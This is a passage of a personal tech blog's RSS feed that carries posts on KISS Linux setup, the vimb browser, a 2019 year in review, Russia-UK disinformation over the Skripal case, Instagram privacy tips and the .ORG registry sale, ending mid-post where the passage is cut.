pages/blog/feed.xml (view raw)
1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
2 <channel>
3 <title>icyphox's blog</title>
4 <link>https://icyphox.sh/blog/</link>
5 <description>Computers, security and computer security.</description>
6 <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
7 <image>
8 <title>icyphox logo</title>
9 <url>https://icyphox.sh/icyphox.png</url>
10 <link>https://icyphox.sh/blog/</link>
11 </image>
12 <language>en-us</language>
13 <copyright>Creative Commons BY-NC-SA 4.0</copyright>
14 <item><title>Status update</title><description><![CDATA[<p>It’s only been a two weeks since I got back to campus, and we’ve
15<em>already</em> got our first round of cycle tests starting this Tuesday.
16Granted, I returned a week late, but…that’s nuts!</p>
17
18<p>We’re two whole weeks into 2020; I should’ve been working on something
19status update worthy, right? Not really, but we’ll see.</p>
20
21<h2 id="no-more-cloudflare">No more Cloudflare!</h2>
22
23<p>Yep. If you weren’t aware—pre-2020 this site was behind Cloudflare
24SSL and their DNS. I have since migrated off it to
25<a href="https://he.net">he.net</a>, thanks to highly upvoted Lobste.rs comment.
26Because of this switch, I infact, learnt a ton about DNS.</p>
27
28<p>Migrating to HE was very painless, but I did have to research a lot
29about PTR records—Cloudflare kinda dumbs it down. In my case, I had to
30rename my DigitalOcean VPS instance to the FQDN, which then
31automagically created a PTR record at DO’s end.</p>
32
33<h2 id="i-dropped-icyrc">I dropped icyrc</h2>
34
35<p>The IRC client I was working on during the end of last
36December–early-January? Yeah, I lost interest. Apparently writing C and
37ncurses isn’t very fun or stimulating.</p>
38
39<p>This also means I’m back on weechat. Until I find another client that
40plays well with ZNC, that is.</p>
41
42<h2 id="kiss-stuff">KISS stuff</h2>
43
44<p>I now maintain two new packages in the KISS community repository—2bwm
45and aerc! The KISS package system is stupid simple to work with. Creating
46packages has never been easier.</p>
47
48<h2 id="icyphoxshfriendsfriends"><a href="/friends">icyphox.sh/friends</a></h2>
49
50<p>Did you notice that yet? I’ve been curating a list of people I know IRL
51and online, and linking to their online presence. This is like a webring
52of sorts, and promotes inter-site traffic—making the web more “web”
53again.</p>
54
55<p>If you know me, feel free to <a href="/about#contact">hit me up</a> and I’ll link
56your site too! My apologies if I’ve forgotten your name.</p>
57
58<h2 id="patreon">Patreon!</h2>
59
60<p>Is this big news? I dunno, but yes—I now have a Patreon. I figured I’d
61cash in on the newfound traffic my site’s been getting. There won’t be
62any exclusive content or any tiers or whatever. Nothing will change.
63Just a place for y’all to toss me some $$$ if you wish to do so. ;)</p>
64
65<p>Oh, and it’s at <a href="https://patreon.com/icyphox">patreon.com/icyphox</a>.</p>
66
67<h2 id="misc">Misc.</h2>
68
69<p>The Stormlight Archive is likely the <em>best</em> epic I have ever read till
70date. I’m still not done yet; about 500 odd pages to go as of this
71writing. But wow, Brandon really does know how to build worlds and magic
72systems. I cannot wait to read all about the
73<a href="https://coppermind.net/wiki/Cosmere">cosmere</a>.</p>
74
75<p>I have also been working out for the past month or so. I can see them
76gainzzz. I plan to keep track of my progress, I just don’t know how to
77quantify it. Perhaps I’ll log the number of reps × sets I do each time,
78and with what weights. I can then look back to see if either the weights
79have increased since, or the number of reps × sets have. If you know of
80a better way to quantify progress, let me know! I’m pretty new to this.</p>
81]]></description><link>https://icyphox.sh/blog/2020-01-18</link><pubDate>Sat, 18 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2020-01-18</guid></item><item><title>Vimb: my Firefox replacement</title><description><![CDATA[<p>After having recently installed <a href="https://getkiss.org">KISS</a>, and
82building Firefox from source, I was exposed to the true monstrosity that
83Firefox—and web browsers in general—is. It took all of 9 hours to
84build the dependencies and then Firefox itself.</p>
85
86<p>Sure, KISS now ships Firefox binaries in the
87<a href="https://github.com/kisslinux/repo/tree/master/extra/firefox-bin">firefox-bin</a>
88package; I decided to get rid of that slow mess anyway.</p>
89
90<h2 id="enter-vimb">Enter vimb</h2>
91
92<p><a href="https://fanglingsu.github.io/vimb/">vimb</a> is a browser based on
93<a href="https://webkitgtk.org/">webkit2gtk</a>, with a Vim-like interface.
94<code>webkit2gtk</code> builds in less than a minute—it blows Firefox out of
95the water, on that front.</p>
96
97<p>There isn’t much of a UI to it—if you’ve used Vimperator/Pentadactyl
98(Firefox plugins), vimb should look familiar to you.
99It can be configured via a <code>config.h</code> or a text based config file at
100<code>~/.config/vimb/config</code>.
101Each “tab” opens a new instance of vimb, in a new window but this can
102get messy really fast if you have a lot of tabs open.</p>
103
104<h2 id="enter-tabbed">Enter tabbed</h2>
105
106<p><a href="https://tools.suckless.org/tabbed/">tabbed</a> is a tool to <em>embed</em> X apps
107which support xembed into a tabbed UI. This can be used in conjunction
108with vimb, like so:</p>
109
110<pre><code>tabbed vimb -e
111</code></pre>
112
113<p>Where the <code>-e</code> flag is populated with the <code>XID</code>, by tabbed. Configuring
114Firefox-esque keybinds in tabbed’s <code>config.h</code> is relatively easy. Once
115that’s done—voilà! A fairly sane, Vim-like browsing experience that’s
116faster and has a smaller footprint than Firefox.</p>
117
118<h2 id="ad-blocking">Ad blocking</h2>
119
120<p>Ad blocking support isn’t built-in and there is no plugin system
121available. There are two options for ad blocking:</p>
122
123<ol>
124<li><a href="https://github.com/jun7/wyebadblock">wyebadblock</a></li>
125<li><code>/etc/hosts</code></li>
126</ol>
127
128<h2 id="caveats">Caveats</h2>
129
130<p><em>Some</em> websites tend to not work because they detect vimb as an older
131version of Safari (same web engine). This is a minor inconvenience, and
132not a dealbreaker for me. I also cannot login to Google’s services for
133some reason, which is mildly annoying, but it’s good in a way—I am now
134further incentivised to dispose of my Google account.</p>
135
136<p>And here’s the screenshot y’all were waiting for:</p>
137
138<p><img src="/static/img/vimb.png" alt="vimb" /></p>
139]]></description><link>https://icyphox.sh/blog/mnml-browsing</link><pubDate>Thu, 16 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mnml-browsing</guid></item><item><title>Five days in a TTY</title><description><![CDATA[<p>This new semester has been pretty easy on me, so far. I hardly every
140have any classes (again, so far), and I’ve a ton of free time on my
141hands. This calls for—yep—a distro hop! </p>
142
143<h2 id="why-kiss">Why KISS?</h2>
144
145<p><a href="https://getkiss.org">KISS</a> has been making rounds on the interwebz lately.<sup class="footnote-ref" id="fnref-hn"><a href="#fn-hn">1</a></sup>
146The Hacker News post spurred <em>quite</em> the discussion. But then again,
147that is to be expected from Valleybros who use macOS all day. :^)</p>
148
149<p>From the website,</p>
150
151<blockquote>
152 <p>An independent Linux® distribution with a focus on simplicity and the
153 concept of “less is more”. The distribution targets <em>only</em> the x86-64
154 architecture and the English language.</p>
155</blockquote>
156
157<p>Like many people did in the HN thread, “simplicity” here is not to be
158confused with “ease”. It is instead, simplicity in terms of lesser and
159cleaner code—no
160<a href="https://www.urbandictionary.com/define.php?term=poetterware">Poetterware</a>.</p>
161
162<p>This, I can get behind. A clean system with less code is like a clean
163table. It’s nice to work on. It also implies security to a certain
164extent since there’s a smaller attack surface. </p>
165
166<p>The <a href="https://github.com/kisslinux/kiss"><code>kiss</code></a> package manager is written
167is pure POSIX sh, and does <em>just enough</em>. Packages are compiled from
168source and <code>kiss</code> automatically performs dependency resolution. Creating
169packages is ridiculously easy too.</p>
170
171<p>Speaking of packages, all packages—both official & community
172repos—are run through <code>shellcheck</code> before getting merged. This is
173awesome; I don’t think this is done in any other distro.</p>
174
175<p>In essence, KISS sucks less.</p>
176
177<h2 id="installing-kiss">Installing KISS</h2>
178
179<p>The <a href="https://getkiss.org/pages/install">install guide</a> is very easy to
180follow. Clear instructions that make it hard to screw up; that didn’t
181stop me from doing so, however.</p>
182
183<h3 id="day-1">Day 1</h3>
184
185<p>Although technically not in a TTY, it was still not <em>in</em> the KISS
186system—I’ll count it. I’d compiled the kernel in the chroot and
187decided to use <code>efibootmgr</code> instead of GRUB. <code>efibootmgr</code> is a neat tool
188to modify the Intel Extensible Firmware Interface (EFI). Essentially,
189you boot the <code>.efi</code> directly as opposed to choosing which boot entry
190you want to boot, through GRUB. Useful if you have just one OS on the
191system. Removes one layer of abstraction.</p>
192
193<p>Adding a new EFI entry is pretty easy. For me, the command was:</p>
194
195<pre><code>efibootmgr --create
196 --disk /dev/nvme0n1 \
197 --part 1 \
198 --label KISS Linux \
199 --loader /vmlinuz
200 --unicode 'root=/dev/nvme0n1p3 rw' # kernel parameters
201</code></pre>
202
203<p>Mind you, this didn’t work the first time, or the second, or the
204third … a bunch of trial and error (and asking on <code>#kisslinux</code>)
205later, it worked.</p>
206
207<p>Well, it booted, but not into KISS. Took a while to figure out that the
208culprit was <code>CONFIG_BLK_DEV_NVME</code> not having been set in the kernel
209config. Rebuild & reboot later, I was in.</p>
210
211<h3 id="day-2">Day 2</h3>
212
213<p>Networking! How fun. An <code>ip a</code> and I see that both USB tethering
214(ethernet) and wireless don’t work. Great. Dug around a bit—missing
215wireless drivers was the problem. Found my driver, a binary <code>.ucode</code> from
216Intel (eugh!). The whole day was spent in figuring out why the kernel
217would never load the firmware. I tried different variations—loading
218it as a module (<code>=m</code>), baking it in (<code>=y</code>) but no luck.</p>
219
220<h3 id="day-3">Day 3</h3>
221
222<p>I then tried Alpine’s kernel config but that was so huge and had a <em>ton</em>
223of modules and took far too long to build each time, much to my
224annoyance. Diffing their config and mine was about ~3000 lines! Too much
225to sift through. On a whim, I decided to scrap my entire KISS install
226and start afresh. </p>
227
228<p>For some odd reason, after doing the <em>exact</em> same things I’d done
229earlier, my wireless worked this time. Ethernet didn’t, and still
230doesn’t, but that’s ok.</p>
231
232<p>Building <code>xorg-server</code> was next, which took about an hour, mostly thanks
233to spotty internet. The build went through fine, though what wasn’t was
234no input after starting X. Adding my user to the <code>input</code> group wasn’t
235enough. The culprit this time was a missing <code>xf86-xorg-input</code> package.
236Installing that gave me my mouse back, but not the keyboard!</p>
237
238<p>It was definitely not the kernel this time, because I had a working
239keyboard in the TTY. </p>
240
241<h3 id="day-4-day-5">Day 4 & Day 5</h3>
242
243<p>This was probably the most annoying of all, since the fix was <em>trivial</em>.
244By this point I had exhausted all ideas, so I decided to build my
245essential packages and setup my system. Building Firefox took nearly
2469 hours, the other stuff were much faster.</p>
247
248<p>I was still chatting on IRC during this, trying to zero down on what the
249problem could be. And then:</p>
250
251<pre><code><dylanaraps> For starters I think st fails due to no fonts.
252</code></pre>
253
254<p>Holy shit! Fonts. I hadn’t installed <em>any</em> fonts. Which is why none of
255the applications I tried launching via <code>sowm</code> ever launched, and hence,
256I was lead to believe my keyboard was dead.</p>
257
258<h2 id="worth-it">Worth it?</h2>
259
260<p>Absolutely. I <em>cannot</em> stress on how much of a learning experience this
261was. Also a test of my patience and perseverance, but yeah ok. I also
262think that this distro is my endgame (yeah, right), probably because
263other distros will be nothing short of disappointing, in one way or
264another.</p>
265
266<p>Huge thanks to the folks at <code>#kisslinux</code> on Freenode for helping me
267throughout. And I mean, they <em>really</em> did. We chatted for hours on end
268trying to debug my issues.</p>
269
270<p>I’ll now conclude with an obligatory screenshot.</p>
271
272<p><img src="https://x.icyphox.sh/R6G.png" alt="scrot" /></p>
273
274<div class="footnotes">
275<hr />
276<ol>
277<li id="fn-hn">
278<p><a href="https://news.ycombinator.com/item?id=21021396">https://news.ycombinator.com/item?id=21021396</a> <a href="#fnref-hn" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
279</li>
280</ol>
281</div>
282]]></description><link>https://icyphox.sh/blog/five-days-tty</link><pubDate>Mon, 13 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/five-days-tty</guid></item><item><title>2019 in review</title><description><![CDATA[<p>Just landed in a rainy Chennai, back in campus for my 6th semester.
283A little late to the “year in review blog post” party; travel took up
284most of my time. Last year was pretty eventful (at least in my books),
285and I think I did a bunch of cool stuff—let’s see!</p>
286
287<h2 id="interning-at-securelayer7">Interning at SecureLayer7</h2>
288
289<p>Last summer, I interned at <a href="https://securelayer7.net">SecureLayer7</a>,
290a security consulting firm in Pune, India. My work was mostly in
291hardware and embededded security research. I learnt a ton about ARM and
292MIPS reversing and exploitation, UART and JTAG, firmware RE and
293enterprise IoT security.</p>
294
295<p>I also earned my first CVE! I’ve written about it in detail
296<a href="/blog/fb50">here</a>.</p>
297
298<h2 id="conferences">Conferences</h2>
299
300<p>I attended two major conferences last year—Nullcon Goa and PyCon
301India. Both super fun experiences and I met a ton of cool people!
302<a href="https://twitter.com/icyphox/status/1101022604851212288">Nullcon Twitter thread</a>
303and <a href="/blog/pycon-wrap-up">PyCon blog post</a>.</p>
304
305<h2 id="talks">Talks</h2>
306
307<p>I gave two talks last year:</p>
308
309<ol>
310<li><em>Intro to Reverse Engineering</em> at Cyware 2019</li>
311<li><em>"Smart lock? Nah dude."</em> at PyCon India</li>
312</ol>
313
314<h2 id="things-i-made">Things I made</h2>
315
316<p>Not in order, because I CBA:</p>
317
318<ul>
319<li><a href="https://github.com/icyphox/repl">repl</a>: More of a quick bash hack,
320I don’t really use it.</li>
321<li><a href="https://github.com/icyphox/pw">pw</a>: A password manager. This,
322I actually do use. I’ve even written a tiny
323<a href="https://github.com/icyphox/dotfiles/blob/master/bin/pwmenu.sh"><code>dmenu</code> wrapper</a>
324for it. </li>
325<li><a href="https://github.com/icyphox/twsh">twsh</a>: An incomplete twtxt client,
326in bash. I have yet to get around to finishing it.</li>
327<li><a href="https://github.com/icyphox/alpine">alpine ports</a>: My APKBUILDs for
328Alpine.</li>
329<li><a href="https://github.com/icyphox/detotated">detotated</a>: An IRC bot written
330in Python. See <a href="/blog/irc-for-dms">IRC for DMs</a>.</li>
331<li><a href="https://github.com/icyphox/icyrc">icyrc</a>: A no bullshit IRC client,
332because WeeChat is bloat.</li>
333</ul>
334
335<p>I probably missed something, but whatever.</p>
336
337<h2 id="blog-posts">Blog posts</h2>
338
339<pre><code>$ ls -1 pages/blog/*.md | wc -l
34020
341</code></pre>
342
343<p>So excluding today’s post, and <code>_index.md</code>, that’s 18 posts! I had
344initially planned to write one post a month, but hey, this is great. My
345plan for 2020 is to write one post a <em>week</em>—unrealistic, I know, but
346I will try nevertheless.</p>
347
348<p>I wrote about a bunch of things, ranging from programming to
349return-oriented-programming (heh), sysadmin and security stuff, and
350a hint of culture and philosophy. Nice!</p>
351
352<p>The <a href="/blog/python-for-re-1">Python for Reverse Engineering</a> post got
353a ton of attention on the interwebz, so that was cool.</p>
354
355<h2 id="bye-2019">Bye 2019</h2>
356
357<p>2019 was super productive! (in my terms). I learnt a lot of new things
358last year, and I can only hope to learn as much in 2020. :)</p>
359
360<p>I’ll see you next week.</p>
361]]></description><link>https://icyphox.sh/blog/2019-in-review</link><pubDate>Thu, 02 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-in-review</guid></item><item><title>Disinfo war: RU vs GB</title><description><![CDATA[<p>This entire sequence of events begins with the attempted poisoning of
362Sergei Skripal<sup class="footnote-ref" id="fnref-skripal"><a href="#fn-skripal">1</a></sup>, an ex-GRU officer who was a double-agent for
363the UK’s intelligence services. This hit attempt happened on the 4th of
364March, 2018. 8 days later, then-Prime Minister Theresa May formally
365accused Russia for the attack.</p>
366
367<p>The toxin used in the poisoning was a nerve agent called <em>Novichok</em>.
368In addition to the British military-research facility at Porton Down,
369a small number of labs around the world were tasked with confirming
370Porton Down’s conclusions on the toxin that was used, by the OPCW
371(Organisation for the Prohibition of Chemical Weapons).</p>
372
373<p>With the background on the matter out of the way, here are the different
374instances of well timed disinformation pushed out by Moscow.</p>
375
376<h2 id="the-russian-offense">The Russian offense</h2>
377
378<h3 id="april-14-2018">April 14, 2018</h3>
379
380<ul>
381<li>RT published an article claiming that Spiez had identified a different
382toxin—BZ, and not Novichok.</li>
383<li>This was an attempt to shift the blame from Russia (origin of Novichok),
384to NATO countries, where it was apparently in use.</li>
385<li>Most viral piece on the matter in all of 2018.</li>
386</ul>
387
388<p>Although technically correct, this isn’t the entire truth. As part of
389protocol, the OPCW added a new substance to the sample as a test. If any
390of the labs failed to identify this substance, their findings were
391deemed untrustworthy. This toxin was a derivative of BZ.</p>
392
393<p>Here are a few interesting things to note:</p>
394
395<ol>
396<li>The entire process starting with the OPCW and the labs is top-secret.
397How did Russia even know Speiz was one of the labs?</li>
398<li>On April 11th, the OPCW mentioned BZ in a report confirming Porton
399Down’s findings. Note that Russia is a part of OPCW, and are fully
400aware of the quality control measures in place. Surely they knew
401about the reason for BZ’s use?</li>
402</ol>
403
404<p>Regardless, the Russian version of the story spread fast. They cashed in
405on two major factors to plant this disinfo:</p>
406
407<ol>
408<li>“NATO bad” : Overused, but surprisingly works. People love a story
409that goes full 180°.</li>
410<li>Spiez can’t defend itself: At the risk of revealing that it was one
411of the facilities testing the toxin, Spiez was only able to “not
412comment”.</li>
413</ol>
414
415<h3 id="april-3-2018">April 3, 2018</h3>
416
417<ul>
418<li>The Independent publishes a story based on an interview with the chief
419executive of Porton Down, Gary Aitkenhead.</li>
420<li>Aitkenhead says they’ve identified Novichok but “have not identified
421the precise source”.</li>
422<li>Days earlier, Boris Johnson (then-Foreign Secretary) claimed that
423Porton Down confirmed the origin of the toxin to be Russia.</li>
424<li>This discrepancy was immediately promoted by Moscow, and its network
425all over.</li>
426</ul>
427
428<p>This one is especially interesting because of how <em>simple</em> it is to
429exploit a small contradiction, that could’ve been an honest mistake.
430This episode is also interesting because the British actually attempted
431damage control this time. Porton Down tried to clarify Aitkenhead’s
432statement via a tweet<sup class="footnote-ref" id="fnref-dstltweet"><a href="#fn-dstltweet">2</a></sup>:</p>
433
434<blockquote>
435 <p>Our experts have precisely identified the nerve agent as a Novichok.
436 It is not, and has never been, our responsibility to confirm the source
437 of the agent @skynews @UKmoments</p>
438</blockquote>
439
440<p>Quoting the <a href="https://www.defenseone.com/threats/2019/12/britains-secret-war-russia/161665/">Defense One</a>
441article on the matter:</p>
442
443<blockquote>
444 <p>The episode is seen by those inside Britain’s security communications team
445 as the most serious misstep of the crisis, which for a period caused real
446 concern. U.K. officials told me that, in hindsight, Aikenhead could never
447 have blamed Russia directly, because that was not his job—all he was
448 qualified to do was identify the chemical. Johnson, in going too far,
449 was more damaging. Two years on, he is now prime minister.</p>
450</blockquote>
451
452<h3 id="may-2018">May 2018</h3>
453
454<ul>
455<li>OPCW facilities receive an email from Spiez inviting them to
456a conference.</li>
457<li>The conference itself is real, and has been organized before.</li>
458<li>The email however, was not—attached was a Word document containing
459malware.</li>
460<li>Also seen were inconsistencies in the email formatting, from what was
461normal.</li>
462</ul>
463
464<p>This spearphishing campaign was never offically attributed to Moscow,
465but there are a lot of tells here that point to it being the work of
466a state actor:</p>
467
468<ol>
469<li>Attack targetting a specific group of individuals.</li>
470<li>Relatively high level of sophistication—email formatting,
471malicious Word doc, etc.</li>
472</ol>
473
474<p>However, the British NCSC have deemed with “high confidence” that the
475attack was perpetrated by GRU. In the UK intelligence parlance, “highly
476likely” / “high confidence” usually means “definitely”.</p>
477
478<h2 id="britains-defense">Britain’s defense</h2>
479
480<h3 id="september-5-2018">September 5, 2018</h3>
481
482<p>The UK took a lot of hits in 2018, but they eventually came back:</p>
483
484<ul>
485<li>Metropolitan Police has a meeting with the press, releasing their
486findings.</li>
487<li>CCTV footage showing the two Russian hitmen was released.</li>
488<li>Traces of Novichok identified in their hotel room.</li>
489</ul>
490
491<p>This sudden news explosion from Britan’s side completely
492bulldozed the information space pertaining to the entire event.
493According to Defense One:</p>
494
495<blockquote>
496 <p>Only two of the 10 most viral stories in the weeks following the announcement
497 were sympathetic to Russia, according to NewsWhip. Finally, officials recalled,
498 it felt as though the U.K. was the aggressor. “This was all kept secret to
499 put the Russians on the hop,” one told me. “Their response was all over the
500 place from this point. It was the turning point.”</p>
501</blockquote>
502
503<p>Earlier in April, 4 GRU agents were arrested in the Netherlands, who
504were there to execute a cyber operation against the OPCW (located in The
505Hague), via their WiFi networks. They were arrested by Dutch security,
506and later identifed as belonging to Unit 26165. They also seized a bunch
507of equipment from the room and their car.</p>
508
509<blockquote>
510 <p>The abandoned equipment revealed that the GRU unit involved had sent
511 officers around the world to conduct similar cyberattacks. They had
512 been in Malaysia trying to steal information about the investigation
513 into the downed Malaysia Airlines Flight 17, and at a hotel in Lausanne,
514 Switzerland, where a World Anti-Doping Agency (WADA) conference was taking
515 place as Russia faced sanctions from the International Olympic Committee.
516 Britain has said that the same GRU unit attempted to compromise Foreign
517 Office and Porton Down computer systems after the Skripal poisoning.</p>
518</blockquote>
519
520<h3 id="october-4-2018">October 4, 2018</h3>
521
522<p>UK made the arrests public, published a list of infractions commited by
523Russia, along with the specific GRU unit that was caught.</p>
524
525<p>During this period, just one of the top 25 viral stories was from
526a pro-Russian outlet, RT—that too a fairly straightforward piece.</p>
527
528<h2 id="wrapping-up">Wrapping up</h2>
529
530<p>As with conventional warfare, it’s hard to determine who won. Britain
531may have had the last blow, but Moscow—yet again—depicted their
532finesse in information warfare. Their ability to seize unexpected
533openings, gather intel to facilitate their disinformation campaigns, and
534their cyber capabilities makes them a formidable threat. </p>
535
536<p>2020 will be fun, to say the least.</p>
537
538<div class="footnotes">
539<hr />
540<ol>
541<li id="fn-skripal">
542<p><a href="https://en.wikipedia.org/wiki/Sergei_Skripal">https://en.wikipedia.org/wiki/Sergei_Skripal</a> <a href="#fnref-skripal" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
543</li>
544
545<li id="fn-dstltweet">
546<p><a href="https://twitter.com/dstlmod/status/981220158680260613">https://twitter.com/dstlmod/status/981220158680260613</a> <a href="#fnref-dstltweet" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
547</li>
548</ol>
549</div>
550]]></description><link>https://icyphox.sh/blog/ru-vs-gb</link><pubDate>Thu, 12 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ru-vs-gb</guid></item><item><title>Instagram OPSEC</title><description><![CDATA[<p>Which I am not, of course. But seeing as most of my peers are, I am
551compelled to write this post. Using a social platform like Instagram
552automatically implies that the user understands (to some level) that
553their personally identifiable information is exposed publicly, and they
554sign up for the service understanding this risk—or I think they do,
555anyway. But that’s about it, they go ham after that. Sharing every nitty
556gritty detail of their private lives without understanding the potential
557risks of doing so.</p>
558
559<p>The fundamentals of OPSEC dictacte that you develop a threat model, and
560Instgrammers are <em>obviously</em> incapable of doing that—so I’ll do it
561for them. </p>
562
563<h2 id="your-average-instagrammers-threat-model">Your average Instagrammer’s threat model</h2>
564
565<p>I stress on the word “average”, as in this doesn’t apply to those with
566more than a couple thousand followers. Those type of accounts inherently
567face different kinds of threats—those that come with having
568a celebrity status, and are not in scope of this analysis.</p>
569
570<ul>
571<li><p><strong>State actors</strong>: This doesn’t <em>really</em> fit into our threat model,
572since our target demographic is simply not important enough. That said,
573there are select groups of individuals that operate on
574Instagram<sup class="footnote-ref" id="fnref-ddepisode"><a href="#fn-ddepisode">1</a></sup>, and they can potentially be targetted by a state
575actor.</p></li>
576<li><p><strong>OSINT</strong>: This is probably the biggest threat vector, simply because
577of the amount of visual information shared on the platform. A lot can be
578gleaned from one simple picture in a nondescript alleyway. We’ll get
579into this in the DOs and DON’Ts in a bit.</p></li>
580<li><p><strong>Facebook & LE</strong>: Instagram is the last place you want to be doing an
581illegal, because well, it’s logged and more importantly—not
582end-to-end encrypted. Law enforcement can subpoena any and all account
583information. Quoting Instagram’s
584<a href="https://help.instagram.com/494561080557017">page on this</a>:</p></li>
585</ul>
586
587<blockquote>
588 <p>a search warrant issued under the procedures described in the Federal
589 Rules of Criminal Procedure or equivalent state warrant procedures
590 upon a showing of probable cause is required to compel the disclosure
591 of the stored contents of any account, which may include messages,
592 photos, comments, and location information.</p>
593</blockquote>
594
595<p>That out of the way, here’s a list of DOs and DON’Ts to keep in mind
596while posting on Instagram.</p>
597
598<h3 id="donts">DON’Ts</h3>
599
600<ul>
601<li><p>Use Instagram for planning and orchestrating illegal shit! I’ve
602explained why this is a terrible idea above. Use secure comms—even
603WhatsApp is a better choice, if you have nothing else. In fact, try
604avoiding IG DMs altogether, use alternatives that implement E2EE.</p></li>
605<li><p>Film live videos outside. Or try not to, if you can. You might
606unknowingly include information about your location: street signs,
607shops etc. These can be used to ascertain your current location.</p></li>
608<li><p>Film live videos in places you visit often. This compromises your
609security at places you’re bound to be at.</p></li>
610<li><p>Share your flight ticket in your story! I can’t stress this enough!!!
611Summer/winter break? “Look guys, I’m going home! Here’s where I live,
612and here’s my flight number—feel free to track me!”. This scenario is
613especially worrisome because the start and end points are known to the
614threat actor, and your arrival time can be trivially looked up—thanks
615to the flight number on your ticket. So, just don’t.</p></li>
616<li><p>Post screenshots with OS specific details. This might border on
617pendantic, but better safe than sorry. Your phone’s statusbar and navbar
618are better cropped out of pictures. They reveal the time, notifications
619(apps that you use), and can be used to identify your phone’s operating
620system. Besides, the status/nav bar isn’t very useful to your screenshot
621anyway.</p></li>
622<li><p>Share your voice. In general, reduce your footprint on the platform
623that can be used to identify you elsewhere.</p></li>
624<li><p>Think you’re safe if your account is set to private. It doesn’t take
625much to get someone who follows you, to show show your profile on their
626device.</p></li>
627</ul>
628
629<h3 id="dos">DOs</h3>
630
631<ul>
632<li><p>Post pictures that pertain to a specific location, once you’ve moved
633out of the location. Also applies to stories. It can wait.</p></li>
634<li><p>Post pictures that have been shot indoors. Or try to; reasons above.
635Who woulda thunk I’d advocate bathroom selfies?</p></li>
636<li><p>Delete old posts that are irrelevant to your current audience. Your
637friends at work don’t need to know about where you went to high school.</p></li>
638</ul>
639
640<p>More DON’Ts than DOs, that’s very telling. Here are a few more points
641that are good OPSEC practices in general:</p>
642
643<ul>
644<li><strong>Think before you share</strong>. Does it conform to the rules mentioned above?</li>
645<li><strong>Compartmentalize</strong>. Separate as much as you can from what you share
646online, from what you do IRL. Limit information exposure.</li>
647<li><strong>Assess your risks</strong>: Do this often. People change, your environments
648change, and consequentially the risks do too.</li>
649</ul>
650
651<h2 id="fin">Fin</h2>
652
653<p>Instagram is—much to my dismay—far too popular for it to die any
654time soon. There are plenty of good reasons to stop using the platform
655altogether (hint: Facebook), but that’s a discussion for another day.</p>
656
657<p>Or be like me:</p>
658
659<p><img src="/static/img/ig.jpg" alt="0 posts lul" /></p>
660
661<p>And that pretty much wraps it up, with a neat little bow.</p>
662
663<div class="footnotes">
664<hr />
665<ol>
666<li id="fn-ddepisode">
667<p><a href="https://darknetdiaries.com/episode/51/—Jack">https://darknetdiaries.com/episode/51/—Jack</a> talks about Indian hackers who operate on Instagram. <a href="#fnref-ddepisode" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
668</li>
669</ol>
670</div>
671]]></description><link>https://icyphox.sh/blog/ig-opsec</link><pubDate>Mon, 02 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ig-opsec</guid></item><item><title>Save .ORG!</title><description><![CDATA[<p>The .ORG top-level domain introduced in 1985, has been operated by the
672<a href="https://en.wikipedia.org/wiki/Public_Interest_Registry">Public Interest Registry</a> since
6732003. The .ORG TLD is used primarily by communities, free and open source projects,
674and other non-profit organizations—although the use of the TLD isn’t
675restricted to non-profits.</p>
676
677<p>The Internet Society or ISOC, the group that created the PIR, has
678decided to sell the registry over to a private equity firm—Ethos
679Capital.</p>
680
681<h2 id="whats-the-problem">What’s the problem?</h2>
682
683<p>There are around 10 million .ORG TLDs registered, and a good portion of
684them are non-profits and non-governmental organizations. As the name
685suggests, they don’t earn any profits and all their operations rely on
686a thin inflow of donations. A private firm having control of the .ORG
687domain gives them the power to make decisions that would be unfavourable
688to the .ORG community:</p>
689
690<ul>
691<li><p>They control the registration/renewal fees of the TLD. They can
692hike the price if they wish to. As is stands, NGOs already earn very
693little—a .ORG price hike would put them in a very icky situation.</p></li>
694<li><p>They can introduce <a href="https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en">Rights Protection
695Mechanisms</a>
696or RPMs, which are essentially legal statements that can—if not
697correctly developed—jeopardize / censor completely legal non-profit
698activities.</p></li>
699<li><p>Lastly, they can suspend domains at the whim of state actors. It isn’t
700news that nation states go after NGOs, targetting them with allegations
701of illegal activity. The registry being a private firm only simplifies
702the process.</p></li>
703</ul>
704
705<p>Sure, these are just “what ifs” and speculations, but the risk is real.
706Such power can be abused and this would be severly detrimental to NGOs
707globally.</p>
708
709<h2 id="how-can-i-help">How can I help?</h2>
710
711<p>We need to get the ISOC to <strong>stop the sale</strong>. Head over to
712<a href="https://savedotorg.org">https://savedotorg.org</a> and sign their letter. An email is sent on your
713behalf to:</p>
714
715<ul>
716<li>Andrew Sullivan, CEO, ISOC</li>
717<li>Jon Nevett, CEO, PIR</li>
718<li>Maarten Botterman, Board Chair, ICANN</li>
719<li>Göran Marby, CEO, ICANN</li>
720</ul>
721
722<h2 id="closing-thoughts">Closing thoughts</h2>
723
724<p>The Internet that we all love and care for is slowly being subsumed by
725megacorps and private firms, who’s only motive is to make a profit. The
726Internet was meant to be free, and we’d better act now if we want that
727freedom. The future looks bleak—I hope we aren’t too late.</p>
728]]></description><link>https://icyphox.sh/blog/save-org</link><pubDate>Sat, 23 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/save-org</guid></item><item><title>Status update</title><description><![CDATA[<p>This month is mostly just unfun stuff, lined up in a neat schedule –
729exams. I get all these cool ideas for things to do, and it’s always
730during exams. Anyway, here’s a quick update on what I’ve been up to.</p>
731
732<h2 id="blog-post-queue">Blog post queue</h2>
733
734<p>I realized that I could use this site’s
735<a href="https://github.com/icyphox/site">repo</a>’s issues to track blog post ideas.
736I’ve made a few, mostly just porting them over from my Google Keep note.</p>
737
738<p>This method of using issues is great, because readers can chime in with
